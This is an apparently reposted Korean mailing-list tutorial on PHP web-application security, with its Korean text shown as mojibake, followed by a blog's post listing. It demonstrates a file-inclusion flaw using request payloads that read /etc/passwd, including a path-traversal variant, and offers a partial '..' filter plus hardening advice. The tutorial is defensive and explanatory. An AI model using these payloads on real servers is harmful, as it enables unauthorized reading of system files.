µð·ºÅ丮¸¦ µû·Î µÎ¾î $table º¯¼ö¿¡ ÀÖ´Â °ÍÀ» ÀÚµ¿À¸·Î include ÇÏ°Ô ÇÏ´Â
°ÍÀÌ´Ù.

ÀÌ ¹æ¹ý¿¡ Ãë¾à¼ºÀÌ Á¸ÀçÇÑ´Ù.

¿¹¸¦ µé¾î ´ÙÀ½°ú °°Àº »óȲÀ̶ó°í ÇÏÀÚ.

test1/header.txt ÀÇ ³»¿ë

¾È³çÇϼ¼¿ä. ÀÌ°ÍÀº Çì´õÆÄÀÏÀÔ´Ï´Ù.

[¿äû]
http://server/vul.php?table=test1/header.txt

[°á°ú]
¾È³çÇϼ¼¿ä. ÀÌ°ÍÀº Çì´õÆÄÀÏÀÔ´Ï´Ù.
Å×½ºÆ® ÁßÀÔ´Ï´Ù. ^^

¿©±â¼­ Cracker ´Â query ¸¦ °£´ÜÈ÷ º¯Á¶ÇÔÀ¸·Î½á ¿øÇÏ´Â ÆÄÀÏÀ» read
ÇÒ ¼ö ÀÖ°Ô µÈ´Ù.

[¿äû]
http://server/vul.php?table=/etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

ÇØ°áÃ¥À» ¾Ë¾Æ º¸ÀÚ.

include ÇÒ¶§ Cracker °¡ ÇØÅ·À» Çϱâ Èûµé°Ô ÇØ¾ß ÇÑ´Ù.

<?

if(eregi("\.\.", $table))
{
echo "ÆÄÀÏ À̸§¿¡ .. °¡ Á¸ÀçÇÏ¸é ¾ÈµË´Ï´Ù.";
exit;
}

include "./$table";

/* »ý·« */

echo "<br><br>Å×½ºÆ® ÁßÀÔ´Ï´Ù. ^^";

?>

ù¹ø° Á¶Ãë·Î »óÀ§µð·ºÅ丮·Î ¿Ã¶ó°¡±â À§ÇÑ .. ¹®ÀÚ¿­À» ÇÊÅ͸µ ÇÏ´Â
ÀÛ¾÷°ú, µÎ¹ø° include ½Ã ÇöÀç µð·ºÅ丮¿¡¼­ ÂüÁ¶Ç϶ó´Â Áö½Ã¸¦ ÇÏ¿´´Ù.

[¿äû]
http://server/vul.php?table=../../../../../../../etc/passwd

[°á°ú]
ÆÄÀÏ À̸§¿¡ .. °¡ Á¸ÀçÇÏ¸é ¾ÈµË´Ï´Ù.

[¿äû]
http://server/vul.php?table=/etc/passwd

[°á°ú]
Å×½ºÆ® ÁßÀÔ´Ï´Ù. ^^

µÎ¹ø° ¹æ¹ý°ú °°ÀÌ ¿äûÀ» ÇÑ´Ù¸é include ÇÏ·ÁÇÒ ÆÄÀÏÀº .//etc/passwd
ÀÌ´Ù. ./etc/passwd ¿Í .//etc/passwd ´Â °°´Ù.

±×¸®°í open ÇÏ·ÁÇÒ ÆÄÀÏÀÌ µé¾îÀÖ´Â µð·ºÅ丮¿¡´Â Áß¿äÇÑ ÆÄÀÏÀº µÎÁö
¸»µµ·Ï ÇÏÀÚ.

ÀÌÁ¦ ¿©·¯ °¡Áö ÁÖÀÇ »çÇ׿¡ ´ëÇÏ¿© ¾Ë¾Æº¸°Ú´Ù.

´ÙÀ½¿¡¼­ ¾Ë·ÁÁÖ´Â ¹®Á¦´Â ¾î¼¸é ÇÁ·Î±×·¡¸Ó°¡ ½Å°æ½á¾ßÇÒ ºÎºÐÀÌ ¾Æ´ÒÁöµµ
¸ð¸£Áö¸¸ ¾Ë¾ÆµÎ¸é µµ¿òÀÌ µÉ °ÍÀÌ´Ù.

¸ÕÀú È®ÀåÀÚ ¹®Á¦. ÀϹÝÀûÀÎ test.php ¿Í °°Àº ÆÄÀÏÀº ÆĽÌÀ» ÇØÁֱ⠶§¹®¿¡
¼Ò½º°¡ ±×´ë·Î µå·¯³ª´Â ÀÏÀº ¾ø´Ù. ÇÏÁö¸¸ º¸Åë ¹é¾÷¿ëÀ¸·Î ¸¸µé¾î³õ´Â
È®ÀåÀÚÀÎ bak µîÀº ÆĽÌÀ» ÇÏÁö ¾Ê±â ¶§¹®¿¡ ±×´ë·Î ¼Ò½º°¡ ³ëÃâµÉ ¼ö ÀÖ´Ù.

°æÇèÀÌ ¸¹Àº Cracker ´Â ´«¿¡ º¸ÀÌÁö ¾Ê´Â ¸¹Àº °ÍµéÀ» ½ÃµµÇÏ°Ô µÇ°í
test.bak °°Àº °ÍÀº ±× ÀϺÎÀÌ´Ù. ÇÁ·Î±×·¡¸Ó´Â ÀÌ ºÎºÐ¿¡ ´ëÇؼ­ ÁÖÀǸ¦
ÇؾßÇÒ °ÍÀÌ´Ù.

±×¸®°í ¾î¶² È®ÀÎÀÛ¾÷À̳ª ÀÎÁõÀÛ¾÷½Ã¿¡ Client ¿¡ ÀüÀûÀ¸·Î ÀÇÁ¸ÇÏ·Á Çϸé
¾ÈµÈ´Ù. ¾ÆÁ÷µµ À¥¿¡´Â Java-script ·Î¸¸ È®ÀÎÀ» ÇÏ´Â °ÍÀÌ ¸¹Àºµ¥, Java
Script ´Â Cracker ÀÓÀÇ´ë·Î ¼öÁ¤Çϰųª ¾Æ´Ï¸é ¾Æ¿¹ »èÁ¦¸¦ ÇÒ ¼öµµ ÀÖ´Ù.
1 Â÷ÀûÀÎ È®ÀÎÀ¸·Î Client ¿¡¼­ Java-script ·Î È®ÀÎÀ» ÇÏ°í, 2 Â÷ÀûÀÎ ÀÛ¾÷À¸·Î
CGI ¿¡¼­ ¶Ç È®ÀÎÀ» Çؾ߸¸ ÇÒ °ÍÀÌ´Ù.

Áß¿äÇÑ ÆÄÀÏÀ» include ÇÒ ½Ã¿¡ filename À» ÆĽÌÀÌ ¾ÈµÇ´Â È®ÀåÀÚ·Î ÇÏÁö
¸»¾Æ¾ß ÇÑ´Ù. ¸¸¾à include ÇÏ´Â ÆÄÀÏÀÌ database ¿¡ ¿¬°áÇÏ´Â ÆÄÀÏÀ̶ó°í ÇÏ°í
dbconn.inc ¶ó¸é inc È®ÀåÀÚ´Â ÆĽÌÀ» ÇÏÁö ¾ÊÀ¸´Ï ¼Ò½ºÄڵ尡 ±×´ë·Î ³ëÃâµÇ¾î
Áú °ÍÀÌ´Ù. dbconn.inc ´ë½Å dbconn.php ·Î ´ëóÇÏÀÚ. ¾Æ´Ï¸é inc µµ ÆĽÌÀ»
Çϵµ·Ï ¼³Á¤ÇÏÀÚ.

À§ »çÇ×°ú °ü·ÃÇÏ¿© Ãë¾à¼ºÀÌ Á¸ÀçÇÒ¼öµµ ÀÖ´Ù. dbconn.inc ÀÇ ¼Ò½ºÄڵ尡 ±×´ë·Î
µå·¯³ª´Â °ÍÀ» ¸·±â À§ÇÏ¿© inc µµ ÆĽÌÇϵµ·Ï ¼³Á¤À» Çصξú´Âµ¥, Á¤ÀÛ ÀÚ·á½Ç
¿¡¼­ inc ÀÇ upload ¸¦ ¸·¾ÆµÎÁö ¾Ê¾Æ Cracker °¡ ¼­¹ö¿¡ ħÅõÇÒ ¼öµµ ÀÖ´Ù.

±×¸®°í cgi °¡ µ¹¾Æ°¡´Â È®ÀåÀÚ¿¡ ´ëÇؼ­ ÁÖÀÇÇÏ¿©¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î php À̸é
*.php ¸¸ÀÌ ÆĽÌÀÌ µÇ´Â°ÍÀÌ ¾Æ´Ï¶ó php3, php4, shtml, µîÀÌ ÆĽÌÀÌ µÉ ¼öµµ
ÀÖÀ¸´Ï ÁÖÀǸ¦ ÇÏ¿©¾ß ÇÑ´Ù.

¶Ç index ÆÄÀÏÀ» °¢ µð·ºÅ丮¿¡ ¸¸µé¾î³õ¾Æ index ÆÄÀÏÀÌ ¾øÀ»¶§ µð·ºÅ丮 ¾ÈÀÇ
³»¿ëÀ» º¼¼ö ÀÖ´Â Çö»óµµ ¸·¾Æ¾ß ÇÒ °ÍÀÌ´Ù. ¾Æ´Ï¸é À¥¼­¹ö ¼³Á¤¿¡ index ±â´ÉÀ»
»ç¿ëÇÏÁö ¾Êµµ·Ï ÇÏÀÚ.

database ¿¬°á½Ã¿¡ Çã¿ëµÈ ÁÖ¼Ò°¡ ¾Æ´Ï¸é Á¢¼ÓÀ» ±ÝÁö½ÃÄÑ¾ß ÇÒ °ÍÀÌ´Ù. º¸ÅëÀº
localhost ¿¡¼­¸¸ Á¢¼ÓÀÌ °¡´ÉÇϵµ·Ï database ¸¦ ¼³Á¤ÇÏ°í, ±Ô¸ð°¡ Å« ³×Æ®¿÷
¿¡¼­´Â Á¤Ã¥À» Àß ¼³Á¤ÇØ¾ß ÇÒ °ÍÀÌ´Ù.

µðÆúÆ® ¼³Á¤¿¡ ÁÖÀÇÇÏ¿©¾ß ÇÑ´Ù. ¸¹Àº Cracker ´Â °ÔÀ¸¸¥ °ü¸®ÀÚ·Î ÀÎÇؼ­
¹Ù²îÁö ¾ÊÀº ¼³Á¤À» ÀÌ¿ëÇÑ´Ù. Ãë¾à¼ºÀÌ ¾È ¾Ë·ÁÁ®ÀÖ´Ù°í ÇÏ´õ¶óµµ µðÆúÆ® ¼³Á¤Àº
¹Ù²Ù´Â °Ô ÁÁ´Ù.

°¡Àå Áß¿äÇÑ Á¡Àº ÃÖ½ÅÀÇ º¸¾È¿¡ ´ëÇؼ­ ±Í¸¦ ±â¿ïÀÌ¸ç ´ëó¸¦ ÇÏ´Â °ÍÀÌ´Ù.
_______________________________________________
Buglab mailing list
Buglab@list.hackerslab.org
http://list.hackerslab.org/mailman/listinfo/buglab
°Ô½Ã¹° 121°Ç
¹øÈ£ ºÐ·ù Á¦¸ñ
À̸§
³¯Â¥ ÀÐÀ½
26 ÀÏ¹Ý   APM ¿¬µ¿ httpd-2.0.55 mysql-5.0.18 php-4.4.2 (2) È£¼® 06-03-24 5462
27 ÀÏ¹Ý   Server/Mail/qmail_install È£¼® 06-03-28 4373
28 ÀÏ¹Ý   [¹æ¾î] prevent ÇÁ·Î±×·¥ ssh 5¹ø ÀÌ»ó½ÇÆнà ÀÚµ¿µî·Ï (1) È£¼® 06-03-29 5354
¡æ ÀÏ¹Ý   À¥ÇØÅ· ¸ðÀ½. È£¼® 06-04-14 5401
30 ÀÏ¹Ý   À¥ÇØÅ· ¸ðÀ½2 È£¼® 06-04-14 4863
32 ÀÏ¹Ý   [apm¼³Ä¡]Apache, PHP, MySQL, LibXML Source Compile È£¼® 06-04-22 5370
33 ÀÏ¹Ý   iptraf ³×Æ®¿÷ Æ®·¹ÇÈ °¨½Ã È®ÀÎ ÇÁ·Î±×·¥ (good ) È£¼® 06-05-01 6379
34 ÀÏ¹Ý   ÀÌ¿ÂÅ¥ºê php encoder ÀÇ ¼³Ä¡ È£¼® 06-05-26 5485
35 ÀÏ¹Ý   ÇØ´çÆÄÀÏÀÇ size¸¦ ã¾Æ¼­ 1¸Þ°¡ ÃÊ°ú½Ã ÇØ´çÆÄÀÏÀ» º¹»çÈÄ ÃʱâÈ­ÇÑ´Ù. È£¼® 06-06-01 4730
36 ÀÏ¹Ý   [º¸¾È] rkhunter ·Î ·çƮŶÀ» È®ÀÎÇÑ´Ù. È£¼® 06-06-13 5017
37 ÀÏ¹Ý   rsync »ç¿ëÇϱâ È£¼® 06-08-02 5548
  ÀÏ¹Ý      rsync »ç¿ëÇϱâ 2 È£¼® 06-08-02 5482
38 ÀÏ¹Ý   ¸®´ª½º º¸¾È ÇÏ¿ìÅõ kldp http://kldp.org/HOWTO/Security-HOWTO È£¼® 06-08-25 8080
39 ÀÏ¹Ý   ½ºÆԾ½Å(SpamAssassin) ¼³Ä¡ ¹× »ç¿ë È£¼® 06-08-25 4071
40 ÀÏ¹Ý   iptables ·Î °£´ÜÇÑ ¹æÈ­º®À» ±¸ÃàÇÏÀÚ (1) È£¼® 06-09-16 5102
óÀ½ÀÌÀü  [1] [2] 3 [4] [5] [6] [7] [8] [9]  ´ÙÀ½¸Ç³¡
 
Copyright © zenos.pe.kr. All rights reserved.